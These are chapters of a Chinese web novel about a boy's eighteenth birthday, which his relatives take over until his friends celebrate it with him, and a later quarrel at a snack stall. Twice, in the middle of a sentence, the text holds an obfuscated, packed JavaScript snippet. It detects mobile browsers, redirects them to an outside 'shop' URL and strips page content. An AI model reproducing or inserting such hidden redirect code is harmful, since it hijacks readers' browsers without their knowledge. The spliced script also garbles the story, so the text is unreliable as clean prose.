今天牧时桉就十八岁啦,她坐在椅子上等待着群里通知什么时候出发,还觉得有些不真实。 十八岁是什么样的呢?法定宣告从这天以后就是成年人,能做许多从前不能做的事,比如开车、或是抽烟喝酒,虽然所有人都说十八是成人世界的分水岭,连大人也说成人之后他们就会放手不再对孩子总是操心,但大概也也不会有这种一觉起来,突变成熟稳重这种事。 也就几个月,她也该过十八岁的生日了,日子过得好快啊。 手机在桌面震动,她拿起手机来看,果然是群里的消息。 nauxl:【各部门准备出门!@所有人】 骆眀昭起身套上外套,提上手里的纸袋,又火速回了条消息。 昭昭是我:【收到。】 XY:【收到。】 rainy:【收到。】 - 梁若璇两只手提着的东西很多,有相机、有给自己和姐妹们带的裙子,若不是饭店会帮着布置包厢装饰,她零碎物件说不定更多。 她刚把两个大口袋放在玄关处,梁母就闻声过来:“你大包小包的这是干嘛呢?” “晚上去给牧时桉过生日啊,不得拍拍照什么的。”梁若璇怕袋子倒了,蹲下小心翼翼靠在墙边放着。 梁母同意地点头:“确实,晚上说不定得拍照,到时候还得让你们拍,我们岁数大不会用你们这些相机什么的。” 梁若璇正要起身,听着她的话,愣了一下,不敢相信自己耳朵似的缓缓站起来。 “不是,妈你什么意思啊?”她眼睛睁大,心里一万次祈祷不要是她想的那个意思,“你和我爸晚上也要去吗?” 梁父刚好从卫生间走出来,听到她的话,不赞同地盯着她说:“什么叫也要去,时桉成人礼生日的大日子,本来就是要比往年隆重,你姑姑他们早就说来给时桉过生日,一大家人热热闹闹地多好。” 梁母于是转头跟梁父说:“你跟你姐他们把酒店地址说一声啊。” 那瞬间,梁若璇只感觉到大脑“嗡”地一声,仿佛有什么抽空了她的意志一般,她好像什么都听不见了。 为什么,为什么总是这样! “可我跟牧时桉早就跟朋友们说好,我们都定了……”她还想挣扎着寻找一丝机会,她真的准备好久,攒钱给大侄子买礼物、定包厢,还想好了这一天都要做什么,她从来没跟牧时桉拍过什么正经合照,十八岁的生日总要留念的吧…… 她真的、准备太久了。 梁母顿时沉着脸:“你们小孩子家家瞎闹算什么,过生日一大家子人聚会不好吗?前些年就算了,这成人礼大日子你们也胡闹?” “一点都不好!”压抑的委屈在此刻喷涌上来,心脏绞痛着,她再也克制不了,拳头紧握着冲着他们喊道,“你们哪怕提前跟我说呢!知不知道我早就安排好了!跟那群八百年不见一次的亲戚有狗屁饭吃,他们就是来蹭顿饭而已,谁是真心诚意给牧时桉过生日的吗!有谁会用心给他准备礼物吗!” 梁若璇抽抽巴巴地说,止不住的眼泪顺着她的脸颊流下来,无奈又可悲。 “梁若璇!”梁父怒喝一声,“什么时候还学会说脏话了,告诉过你小姑娘要文静,你这是在干什么,你看你现在跟泼妇耍横有什么区别!” 被这句“女生就要有女生样”的话,她束缚太久,就像枷锁捆绑着她的意识,她双肩颤动,歇斯底里:“我就是泼妇,怎么了!” “啪”一声,梁父脸色阴沉,一巴掌就这样落在梁若璇脸上没有丝毫收力,她脸上带着装饰用的框架眼镜,也就跟着被甩飞了出去,甚至磕掉了一条眼镜腿。 “滚回你屋里去,你的那点心思就甭想了!”他说。 梁若璇垂下眼,努力收回眼底的泪来,她平静地捡起已经四分五裂的眼镜来,提上自己的两个袋子,就这么拖着走回了自己房间,关上房门。 好痛,真的好痛,火辣辣像是在着火一般,痛觉涌上大脑,她几乎没了焦点。 她靠着门,不知不觉无力地滑了下去,跪在地上。 哇,梁若璇你真懦弱啊,真是世界上最没出息的人了吧。 要不然你就直接冲上去反抗,斗争到底,可最后一刻你还是怂了,你果然是全世界最没用的人。 任凭手机一直在兜里震动着,她也不想再管了,至少,不能哭。 对吧。 - “梁若璇还没回微信吗?”林雨彤扭过脸,出声问道。 骆眀昭垂下头看手机,无奈地摇摇头说:“没有,给她打电话也没接。” 梁若璇、骆眀昭、薛游三个人干巴巴地坐在饭店包厢里,大眼瞪小眼。 从来到这,他们已经等了快两个小时了,太阳几乎西沉,房间里被彩色气球、彩带、假花什么的围着,可却越来越没有庆贺生日的气氛。 薛游把椅子搬过来坐在两人身侧,撇撇嘴犹豫开口:“要不直接给老牧打电话吧,管他什么惊喜不惊喜的,这人都找不见,别出事故是最好。” 骆眀昭看着他,思索几秒点了点头:“你给牧时桉打电话问一下吧。” 薛游从一旁够着手机,解锁正准备给牧时桉打电话。 “唉唉先别打,璇子在群里发消息了。”林雨彤举着手机,先一步制止了他,她说完,另外两人同时点开了他们的那个临时微信小群。 nauxl:【抱歉啊,我们家临时说要给他过生日,我俩应该是出不去了。】 nauxl:【让你们空欢喜了实在抱歉,我刚才给前台打电话了,这会儿就给你们上菜,钱都已经付过啦,你们好好吃,都吃好喝好,不够再点!我掏钱!】 说完,跟着一个猫头的可怜表情包,又紧跟着是个视频,大概是偷拍角度,梁若璇大概拍了一圈此时周围的状态,大包厢里一群大人互相打招呼,黄橙色灯光下,莫名显得他们的笑容狰狞,视频最后无意中落在牧时桉的脸上,他安静坐于一边,低垂下眼,没有任何表情。 三人愣着,面面相觑,与此同时已经有服务员端着凉菜进屋,有一位着急出门没有看脚下,无意中踩中地下的气球,“嘭”地一声,所有人的心都被吓得像是掉在地上。 服务员连忙道歉:“抱歉,我没看到。” “没事的,您先走吧。”骆眀昭先回过神来,在服务员出门后,把散在地上的气球往房间角落处丢。 被装饰好的房间里,又只剩他们三人。 林雨彤无奈开口,试图开着玩笑:“怎么说,咱们这现在算是分会场吗?” “牧时桉成人礼分会场?”骆眀昭努力扬起笑来,目光看向靠在墙边的立牌,这是饭店帮助制作的,上面写着——祝牧时桉先生十八岁生日快乐。 薛游也很捧场:“那要不我们临走一人跟这牌子合个影?就当是到此一游?” 三人轻轻地笑了一声,可房间里又很快陷入沉寂。 “啧——”薛游扯扯唇角,“果然啊,这场子压根没办法热起来,不过梁若璇家嘛,我跟他俩认识这么多年,也都习惯了。” 又有谁会责怪呢? 不过是隐隐的失落感罢了。 他们围着坐得近,谁都没再说话,菜很快一道道就全上齐了,骆眀昭无意中抬头看向窗外,天色彻彻底底暗了下去。 服务员见他们还没动筷,边好心提醒他们:“菜已经上齐,可以吃了。” “嗯,好的,谢谢您。”林雨彤回过头礼貌地说。 桌上有瓶果缤纷,骆眀昭伸手转着桌子,拧开盖子给每个人都倒了一杯。 “怎么说,咱们三个碰个杯?”薛游举着杯,笑嘻嘻说。 林雨彤也说:“行啊,咱们再拍个视频发给他们算了,就当做隔空祝福。” 骆眀昭点头:“那来吧。” “三二一——”骆眀昭倒数着,按下录像键,三个人都举起杯子聚到一起,由坐在中间的她拍摄。 - “祝你生日快乐~”暗下去的大包厢里所有人一起唱道,很吵,像是要把房顶掀翻,还偏偏坐在牧时桉身侧的表弟声音最大,带着调笑的意味扯着嗓子在唱,几乎要把他耳膜震破。 梁父作为亲爷爷,笑着说:“来时桉,快许愿!” 不是所有人都在看着牧时桉,他们并不期待他许什么愿望,有人聚着聊天,昏暗的氛围下甚至有人手机屏幕还是亮着,显得格外突兀刺眼。 他轻飘飘地扫过那个点着蜡烛的两层大蛋糕,只顿了几秒,就迅速将烛火吹灭。 没有许愿。 蜡烛熄灭的瞬间,站在开关旁边的人立马拉下开关,包厢里又亮起来。 “来吧时桉,你是寿星,你给大家分蛋糕。”梁母招呼他过来,又把切蛋糕的刀塞进他手里,牧时桉站在蛋糕旁面无表情地一块块在切,听着耳边完全不一样的要求,有人要奶油有人要蛋糕胚,甚至有人只要沾着奶油的水果,他将小餐盘递给一个又一个人。 最后一个人是梁若璇,她指指上面有巧克力的部分,低声说:“我要那块。” 牧时桉如她所愿,切下了她要的那块。 梁若璇连座位都没回,站在原地捧着就咬了一口,很快又全部吐了出来。 代可可脂,植物奶油,难吃,难看,根本不如她定的那个。 趁着众人不注意,她将这块让人讨厌的蛋糕丢到一边,拿着手机头也不回转身推门走出包厢,因为这时候没人会在乎她,饭桌上的大人已经开始推杯换盏起来。 牧时桉把蛋糕刀放下,擦擦手,也跟着出了包厢。 到走廊洗手间门口,他就看到梁若璇捧着手机靠墙蹲着,目不转睛地在看屏幕里的视频。 “祝牧时桉十八岁生日快乐!” “老牧,你已经是个成年的老人了,注意身体啊,老胳膊老腿的……” “薛游!你就胡说八道!人家十八岁正风华正茂呢!咳咳,牧时桉大帅哥,那就祝你十八岁勇往直前!无所畏惧!来骆眀昭该你了,你说点。” “嗯,牧时桉同学,那就希望接下来的人生只剩坦途,愿你永远坚定,永远自由,永远快乐!成年快乐!” “你俩官不官方!” “少管我们!” …… “他们好像、没生气……”梁若璇感觉到面前一个身影站到她面前,慢慢蹲下,她悠悠抬起头,虽然极力不想流泪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085353|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但到了这会儿还是忍不住哽咽。 牧时桉脸色平静,不过也是在努力压制涩意,他声音带着点沙哑:“嗯。” “我,给大侄子你准备那个蛋糕可贵了,用的什么安佳奶油,反正比他们这个破蛋糕好吃一百倍,那家超级难定,我就是想给你好好过次生日,我,我从来都没为你做过什么。”梁若璇看着他,边压制着哭声边说。 “我知道。”他说。 梁若璇终于忍不住,不顾形象地在走廊嚎啕大哭。 因为带着个成人礼的标签,今天饭局上的主人公牧时桉,不知道被多人多少人灌了酒,说什么成年了能喝帮他涨涨酒量诸如此类的,他脸上带着醉意,但神色却格外坚定。 “走吧,小姑姑,我们去过生日。”牧时桉平静地看着她,说道。 抚平了梁若璇的情绪,牧时桉独自一人回到包厢,拿起两人挂在椅子后的外套。 之后又走向牧正云和孙惠身侧,凑到他们耳畔说:“我带着梁若璇先走了。” “你们去哪?”孙惠侧过脸,问。 牧时桉回:“过生日。” 夫妻两人对视一眼,沉默片刻,很快牧正云摆摆手:“你们去吧,晚上带梁若璇回咱们家。” 话落,牧时桉抱着衣服,大步离开了包厢。 有人敏锐,很快看到了他的背影好奇问:“这时桉怎么走了?” 牧正云笑笑回:“哦,他有点喝多了,跟我妹妹就先回家去了。” - 那边饭店里三人慢慢悠悠在吃,毫不在意时间,反正今天都跟家里说回去会晚些。 “嗝,都吃饱了?”薛游捧着肚子问。 林雨彤和骆眀昭都瘫在椅背上,点点头,尤其林雨彤更瘦,胃明显鼓出来一块。 即便胃口没那么大,大家也都不想辜负梁若璇的心意。 薛游:“那咱们先撤呗,出去走两圈再回家,我必须得消消食。” 两个人女生纷纷点头表示同意,反正最后三人走出店门的时候,姿势都算不得雅观。 夜风清凉,此时已快晚上九点,三人并排站在饭店门口,深深叹了口气。 “咱们去哪逛逛?人民公园在那边,或者顺着马路慢慢溜达,走哪算哪?”骆眀昭扬起头望向挂在天边的月亮,顺口问道。 林雨彤想了想:“往家的方向走吧,人民公园还在反方向呢。” “好。”骆眀昭点头,正要迈步,三人眼前忽然停下一辆出租车,还没反应过来,梁若璇就先后从车上下来。 三人顿感惊喜:“你们怎么来了!” “怎么能不跟你们过呢?”梁若璇小跑到姐妹身旁抱住,又展示一下手里蛋糕,“看我们还是带着蛋糕来的。” 实在太惊险了,两人几乎是踩着店关门的前几分钟来取的蛋糕。 “额,这个……”三人支支吾吾,实在是他仨肚子内存都沾满了。 骆眀昭先说:“吃,必须吃,咱们先溜达溜达,看看去哪呗?” 梁若璇指指饭店:“这不行吗?” “我们都走了,人家肯定也都收拾房间啦。”林雨彤解释。 “啊,那我的装饰不就白了嘛!” 结了账,牧时桉从车上下来,迎面就看见骆眀昭站在自己眼前,正望向他。 他兀自轻笑了下后,说:“那就随便找个地方呗。” 五个人一商量,最后找了一家肯德基,反正不能在大街上,万一吃了闹肚子怎么办。 他们一起上了二楼,这家店二楼空空荡荡一个人都没有。 梁若璇放下蛋糕,着急地开始解着彩带:“我特意找了个超好看的网图,而且还是全巧克力蛋糕,到时候拍出来绝对——” 她正说着,掀开盖子的手停在半空,大家凑过去看,蛋糕东倒西歪的已经没了样子。 “哇哦。” 牧时桉低头看着,顿了顿忽然笑出声来:“那司机真是秋名山车神。” “噗——”几个人都憋不住笑出声来。 “还不是为了给你们仨个惊喜,我就跟司机说你快点,”唯独梁若璇表情僵硬,“他也太快了点吧。” “唉,别搞黄色啊!”薛游忽然说,当然几秒钟后一巴掌直接落在他头顶,“啊!” 林雨彤正义判官,抱着胸:“除了你,我们都没想歪。” “算了就这样吧,”牧时桉掀开盖,把包装全部拆掉,一团东倒西歪的黑色不明物体出现到面前,“能吃就行。” 作为寿星的他正要点蜡烛,却被薛游一把抢走:“你过十八大寿,这种累活都我们干。” 牧时桉坐在对面,无奈地看着他。 “先成年果然不好,太容易被调侃,”骆眀昭坐他旁边老神在在,忽而又攥起拳,伸到他面前,“作为我们之中唯一一个成年人,作何感想。” 牧时桉若有所思,目光扫过众人眯眯眼睛,接受访问:“看你们都像小屁孩。” “什么意思!”剩下几个都瞬间跳脚。 薛游插好蜡烛,一个插着东倒西歪蜡烛的蛋糕映入众人视线。 “你这,是不是太丑了点。”林雨彤扯扯嘴角。 薛游抗议:“蛋糕就丑,我能有啥办法!” 只有骆眀昭盯着这坨不明物体,忽然想到什么:“我怎么觉得在哪见过差不多的呢?” 牧时桉比她先反应过来,那毕竟是他黑历史。 “你没见过。”他先一步说。 骆眀昭想到他那碗酱茄子,一瞬间记忆浮现。 她扭过头去看他,牧时桉神色如常,算了毕竟他今天是寿星,给他点面子。 薛游一个个点蜡烛,全部点着后,他说:“来吧,给老牧唱生日歌!” “祝你生日快乐……” 大家唱完,梁若璇指着蛋糕激动地说:“大侄子,来许愿。” 跟在包厢里的时候不同,他双手合十,对着蛋糕缓缓闭上眼。 他的愿望很简单——如果每年,他都能过这样的生日就好了。 许完愿望,他俯身吹灭了蜡烛。 “哇,我们来切蛋糕啦!”梁若璇激动地拿起蛋糕刀来。 那三个吃饱喝足的人倒是忸怩,林雨彤心虚着:“那个,要不缓缓?” 梁若璇:“为啥呀?” 薛游凑过来说:“我们三个都吃饱了。” “而且小璇,你这蛋糕,”骆眀昭打量着这坨物体,“能切吗?” “怎么不能……”梁若璇自己说都没底,不过吃不吃的,它也能有别的用处不是。 她垂下头默不作声,大家还以为她生气了,小心翼翼地观望。 牧时桉挑挑眉,总觉得有哪不太对劲,大概是心领神会,他拿起蛋糕盒的盖子就挡在脸前,顺便遮住一旁骆眀昭。 梁若璇见计划已经被人识破,当机立断转变思路,挑起一块棕色奶油,抹在薛游脸上。 “嘿!”薛游愣住。 几个人看着他都在笑,哪里来的非洲小伙。 “梁若璇!你触碰到了我的逆鳞!”薛游脸上还沾着奶油,咬牙切齿,一呲牙显得一排大白牙,他抬手却无意间波及到旁边林雨彤,很快她的脸上也沾上棕色奶油,。 “薛游!” “别怪我!都是她!” 大战一触即发,毕竟在人家店也不能太放肆,大家怕弄脏周围,都束手束脚的战况焦灼。 牧时桉抱胸看着投入,忽然脸上也感到奇怪,他转过头,罪魁祸首骆眀昭看着他笑:“生日快乐,这是寿星的福报。” 骆眀昭还在沾沾自喜,没想到下一秒她也遭殃。 “我们都脏不能就你干净!”林雨彤愤愤地说。 更大的混战开始了。 牧时桉顶着奶油笑得格外开心,果然,如果每年,他都能过这样的生日就好了。 57. 炸鸡柳 因为骆眀昭的月考成绩,宋晓还给王乐萍打个电话确认,孩子最近在家有没有什么异常状态,才让她忽然之间下降如此明显。 大概是怕影响骆眀昭的假期生活,这个电话拨打时间是三天小假期后的开学首日,王乐萍接到电话时,正好结束上午最后一个病人的治疗,往医院食堂走的路上。 “这样啊……”王乐萍捏着手机停顿片刻,“宋老师谢谢你啊,骆眀昭她最近可能是太累了,您放心,回去之后我会好好问问这事的,给您添麻烦了。” 电话挂断,她默默放下手机,往食堂方向走。 医院食堂这些年越来越落寞,一方面是外卖越发方便,还有就是自身原因,味道确实差强人意些,不过王乐萍向来也不太在乎这些,从前骆齐也是,说起来这一年多没人陪着吃饭,她逐渐也习惯了。 她随便打了些什么,端着餐盘就找到个靠窗的座位,同事在那边她也没去找,手机在一旁刷着短视频,安静吃饭。 “王姐,怎么自己在这呢?”牧正云端着饭盒,从远处走来。 王乐萍扬起头,笑着:“哦,这不是玩会手机,怕吵到别人吗。” 牧正云实际上要比骆齐和王乐萍小两岁,认识这么多年,虽然跟骆齐总是吹胡子瞪眼,但见到王乐萍还是礼貌叫王姐。 如今牧正云不仅是邻居、同事,更同是学生家长,王乐萍放下筷子,也忍不住跟他聊起来。 “你家小牧,这次月考成绩看了吗?”王乐萍问。 “看了啊,家长群里不是发了吗?跟往常差不多,他成绩都挺稳定的,我很少担心。”牧正云拉开椅子坐下,想到什么推了推眼镜腿,“眀昭她?” 王乐萍叹口气:“哎,刚刚班主任给我电话来着,说起她成绩这事,这次退步特严重,说起来我也不愿意给她太大压力,但主要是怕她心里难受。” “是不是最近有点跟不上啊,这很正常。”牧正云掀开饭盒宽慰着她。 若真是学习跟不上,她还就不这么操心了。 “估计也不是因为学习,还是因为没放下我妈那事,”王乐萍看着窗外,悠悠开口,“一个清明,一个忌辰,每每到这两个时候她就魂不守舍的,尤其忌辰还是……”剩下的话她实在说不出来了。 牧正云听着她的话,默默低下头,不知道该说什么。 当年老太太自杀在医院,虽然人不是在他们院走的,但毕竟绮城医疗圈能有多大,没的还是大夫的母亲,也是传到好多人耳朵里,相熟的同事想不知道都难。 王乐萍捏着筷子,扒拉着饭菜:“我真是不知道该怎么让她走出来,不能总困在这里面,这不光是影响成绩或是生活的事。” “你们当初没带着她去看看心理医生什么的?”牧正云蹙着眉问。 “怎么没去,托人去找最好的大夫,她后来嘻嘻哈哈的我们都以为人没事了,谁知道是暂时的。”王乐萍说。 牧正云拿起筷子,把饭盒掀开:“我妹妹和牧时桉不都跟眀昭是好朋友吗,还都一个班的,等着让他们帮着观察吧。” “谢谢你啊。”王乐萍努力笑了笑。 说完,两人都再没说什么话,闷头吃着饭。 吃完了饭,牧正云拿着他的饭盒去涮洗,王乐萍走去一个人去放餐盘, 走出餐厅时正午阳光像是金辉,不知为何,王乐萍扯着嘴角低声念叨一句:“妈,你一个人说解脱就解脱了,走不出来的可是四个人。” - 也许是每年骆眀昭都会度过这样的一个短暂消沉的时期,所以恢复也是特别的快,渐渐在学习上找回状态,期中考成绩一下来,她又回到了原先的水平。 吃过晚饭后,骆眀昭被蔡杨叫到办公室数用作晚练的卷子,蔡杨拿着成绩单锁定她的名字,看到让他满意成绩的时候,点了点头。 “这才对嘛,这才是你的水平。”蔡杨笑着点点头,放下镶着金边的保温杯。 骆眀昭其实想说,现在暂时别跟她说话好了,她快数错啦,但最后也没敢开口,只是朝着他笑笑。 “报告。”这个时间去吃饭的老师们还没回来,所以办公室人一少,空荡安静就显得这一声更明显。 蔡杨把手里成绩单往旁边一放,扬起头看过去:“哦,进来吧。” 五十张,外加有人可能会弄丢再多拿两张,一共五十二张,搞定! 数卷子时必须往多数,这是骆眀昭做课代表以后的感悟,一定会有人过来找她说没卷子。 她刚起身就见来人是林以征,他垂着眼,安静走到蔡杨身侧。 “来了。”蔡杨跟他说,而后又转头跟一旁闲站着的骆眀昭说,“来,顺便给二班的也数了。” 喂,她是什么免费劳动力吗,逮着就不放跑!! 骆眀昭撅撅嘴又俯下身,搓着这劣质纸张的边角,心中默念一、二、三…… “这次叫你过来,是想跟你说下关于省数学竞赛初赛的事情,”蔡杨抬起头,慢悠悠说,“咱们学校虽然偶尔也能出清北生,但往年很少会让学生参加竞赛,毕竟能走竞赛的学生不多,别在这种事上因小失大,但林以征你的成绩确实是各方面比较突出啊,不知道你在从前接没接触过竞赛,但老师觉得你能去试试,拿个好名次对将来升学也是有好处的。” 蔡杨一篇长篇大论,给在一旁听着的骆眀昭都迷糊了,对于她这个等级的学生,压根接触不到这一层面的事,所以除了好奇,也有些感慨。 这就是人与人之间的差距吗? “怎么样,你想去吗?想去就帮你报名。”他问道。 骆眀昭也好奇他是什么反应,偷偷听着。 林以征抬起头,却没什么大反应,骆眀昭有些错愕,因为他们视线相交一秒,她清清楚楚看到他眼底的死气,那是种完全不应该属于少年人的荒凉感。 蔡杨期待着他的反应,却没想到他说:“如果学校需要我的话,我就去。” 蔡杨愣了,手掐在试卷上的骆眀昭也愣了,谁也没想到他会这样说。 “如果学校需要我挣得什么奖项,需要什么好听的成绩,我可以去。”他说。 蔡杨赶紧摆手:“学校当然没有那个意思,这是属于你自己的人生选择啊,你为你自己未来考虑,去参加当然是好事……” “蔡老师,”林以征没什么情绪地打断他的解释,“我的选择就是都可以,学校需要的话我就参加,就这样,没什么事老师我先回班了。” 他说完,便自顾自地走了。 林以征从五班升到一班时,五班班主任曾经在办公室里说这是个很难搞的小子,蔡杨当时可不屑一顾,不过小屁孩而已,能有多难搞。 “老师,别看了,人都走一分钟啦。”骆眀昭悄悄在蔡杨伤口上撒盐,以报他让自己留在办公室数卷子之仇。 蔡杨猛地转过头,治不了那个,还治不了:“数完卷子了?” 骆眀昭把卷起来的卷子往他面前一推:“好了。” 蔡杨:…… “老师,现在数学竞赛也您来管啊?您不是物理老师吗?”骆眀昭靠着墙,怀里抱着的是数出来的一班卷子。 蔡杨大概是为下火,狠狠灌了一大口茶水进肚:“宋晓老师马上就不来学校了,现在你们一班我全权接手。” 骆眀昭想起宋晓挺着的肚子,也对她即将生孩子这事有了实感。 蔡杨放下水杯,瞥她一眼:“废话那么多!赶紧回去发卷子去,再错那么多,你等着!” 骆眀昭灰溜溜地抱着试卷离开办公室,暗自嘀咕。 真是善变,几分钟前刚夸过她来着。 - 过了立夏,温度就明显地回温,放学走出校门,夜风宜人。 “什么时候才到周末啊!”骆眀昭揉着自己脑袋,不顾形象乱得像鸡窝。 都说在喜欢的人面前会注意形象,现在她已经完全迈过那个阶段了,看就看呗,潦草也是她的一种美丽。 牧时桉走在她的身侧,垂下头压低声音笑了出来,忽然想着还好是现在校门口很吵,不然她肯定会暴走。 他插着口袋,回道:“今天周三。” “所以我说周三就是最讨厌的,刚刚好卡在中间,不上不下。”她念叨。 两人相伴走到公交站台,等车的八中学生不少,不过巧的是大多数都上的是另外一趟,到骆眀昭他俩上车,人反而没那么多。 先上车的是牧时桉,他从外套兜里拿出带着卡套的一卡通,就是骆眀昭送的那个,后来她还在课间拿自己的卡通贴纸往上糊了几张,很怪,总之拿在牧时桉手里有些跳戏。 但骆眀昭每每看到心情就非常好,他现在的手机壳也换成了她送的那个。 即便自她送了礼物,牧时桉就一直带着,按说看这么久,她也该习惯了,但还是压制不住扬起来的唇边。 车站人少,车上乘客还是蛮多的,有牧时桉在前开路,骆眀昭躲在后面走倒是省心。 “坐吗?”牧时桉忽然转过头,有个单独的空位靠着窗。 骆眀昭四下看了眼,好像没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104823|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乘客想坐,那她可就不客气了,正好经期,她有些站不动:“谢啦。” 公交缓缓起步,骆眀昭调整好坐姿把书包放在腿上,牧时桉就握着扶手站她旁边,等她扬起头,才发现了张熟悉的脸。 “额,嗨!”她主动打招呼,牧时桉朝她看的方向,原来林以征也上了车。 虽然跟他是同一趟车,但骆眀昭他俩这还是第一次在车上碰见。 林以征就站牧时桉不远处,听到骆眀昭打招呼,他轻嗯一声,点了点头。 现在的局势是,骆眀昭独自坐着,身旁立着两个男生,这辆公交车的光不太亮,她偶尔扬起头,都瞧不清他俩的表情。 真,尴尬啊。 虽然平时在车上跟牧时桉也不是天天有话聊,但是—— 总之她觉得当下氛围怪怪的,骆眀昭垂下眼,开始刷起手机新闻来。 牧时桉手握着扶手环,他掀起眼皮,透过玻璃,他一清二楚地看见身旁林以征的目光直白地落在骆眀昭身上,像是探究或是好奇,还是别的什么他不敢想。 握住扶手环的力度似乎在不断加重,那种感觉很让人琢磨不透,像是用把很钝的小刀在划着他的手臂,不会破不会痛,但会留下一道道红色的可怖印记,即便都清楚过不了一天它会自动消失,可还是很痒很难熬。 他抿着唇,眉毛拧着,又垂眼看向对一切毫无察觉的骆眀昭,他不太希望自己变成那种歇斯底里的人,可心脏啊,仍是跳动地越发快。 车很快就要开到他们所要下车的那站,几乎是前站刚关门,牧时桉就出声喊她:“该下车了。” 骆眀昭猛地从惹人眼的网络世界里脱离,啊了一声,然后赶紧起身。 等她刷了下车卡,无意中看到窗外风景,今天是不是,准备的有点早啊? 骆眀昭不过也没多想,背上书包等着汽车停稳下车,牧时桉跟在她身后,在下车后又朝着车厢里看了一眼。 “要吃炸鸡柳吗,牧时桉?”他正转头,却听那边一声雀跃的女声。 牧时桉看过去,骆眀昭站在炸鸡柳的餐车前,笑着朝他挥手。 “……好。” “那来个大份,老板拜托分开装吧。” 牧时桉忽然觉得自己很矫情,身后公交车已经缓缓开走,他终于迈开了步子,朝着她过去。 “……少放点辣椒就行,”骆眀昭说,“你在那站着干嘛呢?” 牧时桉停在她身旁:“没什么。” 鸡柳被可怜地丢进油锅里翻滚冒泡,骆眀昭伸长脖子等着,她早就饿了,为了早早去数卷子,她少吃好几口饭就跑到了办公室,只是这一份还不是她,前边还有人排。 不过—— “说起来今天碰到林以征的次数真的是超标唉,”骆眀昭忽然回头跟他感慨,“这是咱俩第一次在公交车上碰见他吧?晚上在办公室那会儿我还正好碰见老蔡找他谈话。” “是吗?”牧时桉在她身旁,仿佛冬日青松,说出来的话也是冷淡得要命。像是冰块。 骆眀昭讲八卦的心很旺盛,完全没能捕捉到这些细节。 “我跟你说,那会儿在办公室里……竞赛唉……直接把老蔡怼无语了……真的有点东西,学神的游刃有余啊。”她转过头,摇头晃脑连说带比划地把她的所见所闻讲出来,说了很久。 老板这时插话:“小姑娘,炸你们了啦。” “好!” 骆眀昭还打算说:“不过你别说,林以征这人反差巨大,我之前一直以为他是……” “我对林以征的话题不感兴趣。”他忽地打断她,唇抿成一条线。 骆眀昭愣着仰头看他,被他眸底过分的冷漠惊到了。 她很少有被一句话刺中的时候,又硬又冷,像是陌生人一般的语气。 “不是,我就是想跟你分……” “我不感兴趣,你可以找愿意听的人说。” 他说完,竟转头大步离开了小摊,径直朝着往小吃街深处,家属院的方向走着,仅仅留给她一个潇洒的背影。 骆眀昭脑子乱成一锅粥,偏偏耳旁有吵嚷声、风声、汽车鸣笛等诸如此类的动静,甚至连油锅滋滋冒油的声音都显得格外清晰。 名为情绪的集水池在那一刻蓄满,甚至满到即将要溢出来。 垂在身边的手紧紧攥着,骆眀昭长呼一口气,扭过脸看向炸鸡柳摊老板。 他见证了一场说不清道不明的矛盾,此时表情也有些怪。 “老板,给我多放辣椒!”她咬着牙说。 58. 鸡蛋饼 能说那个老板真的实诚过头,说多放辣椒真就爆辣。 当天晚上骆眀昭伴着夜风,在楼下恶狠狠地吃完一整份超辣炸鸡柳,第二天一早就开始痛经,捂着肚子在床上脸煞白。 王乐萍无奈帮着跟班主任请假后,插着腰审问:“你又干什么了!” “额……”骆眀昭裹着棉被在喝温开水,“就昨晚上吃了份炸鸡柳。” 没敢把辣度告诉她,是怕王乐萍班也不上了就留在家里批斗她。 “好样的,你就作吧你!”王乐萍无语。 大早上就这么被教育了一顿,王乐萍去上班,骆齐索性今天也不开店了,就留在家里照顾她。 本该是上学的日子,骆眀昭就这么窝在被子里,肚子上顶着个暖水袋,时不时她还要伸手调整下位置,会烫。 不上学也挺好,她忽然这么想着,至少不会看见牧时桉那张臭脸。 今天她会突然痛经,也必须把一半的责任摊在他身上! 到底是哪里来的臭脾气,说生气就生气,她是做什么十恶不赦的事情了吗? 不过就是跟他分享了下八卦逸闻,如果不是把他当做任何话都可以讲的好友,她才不会没事找事。 他是为什么忽然别扭,骆眀昭不想去猜,因为无论他源自什么,都彻彻底底地触及到她的雷区,牧时桉没听她的解释,这是她最生气的事。 她就是穷凶极恶的罪犯,也得留给她最后陈述的机会吧? 牧时桉甚至打断她说的话,扭过头就走,骆眀昭不愿去回忆那种失落酸胀的感觉,她独自被留在原地彷徨,视线里就剩他越走越远的身影。 或许还有种可能,他那颗心像石头,压根没给其他人留位置,也包括她。 骆眀昭尽量不往这方面去猜,似乎只要心思往那方面转去一点点,心口就仿佛被堵死,一颗柔软的心被扭曲对折挤压,憋闷地她根本上不来气。 干什么,第一次喜欢别人就要受这种委屈吗? 骆眀昭仰面朝着天花板,烦躁情绪越发满溢,最后到气急处,把肚皮上放着的暖水袋往手边一丢,好热好烦。 - “昭昭今天没来上学啊。”已经上完一节课,梁若璇扭过身,看着斜后方空空荡荡的座位说。 牧时桉手里的笔不停转着,他侧目看向身旁,眉心就这么扭成一团,终于“啪”地一声,笔就这么掉在了书桌上发出清脆响声,扰得人心更加凌乱。 梁若璇从书包夹层里抽出手机,将屏幕反复点亮暗灭,重复这个动作直到上课铃声响起,都没能收到骆眀昭的回信。 再收到她的微信已经午饭前的事了,干饭小队一下没了那个总是笑着活跃气氛的人,总感觉少点什么。 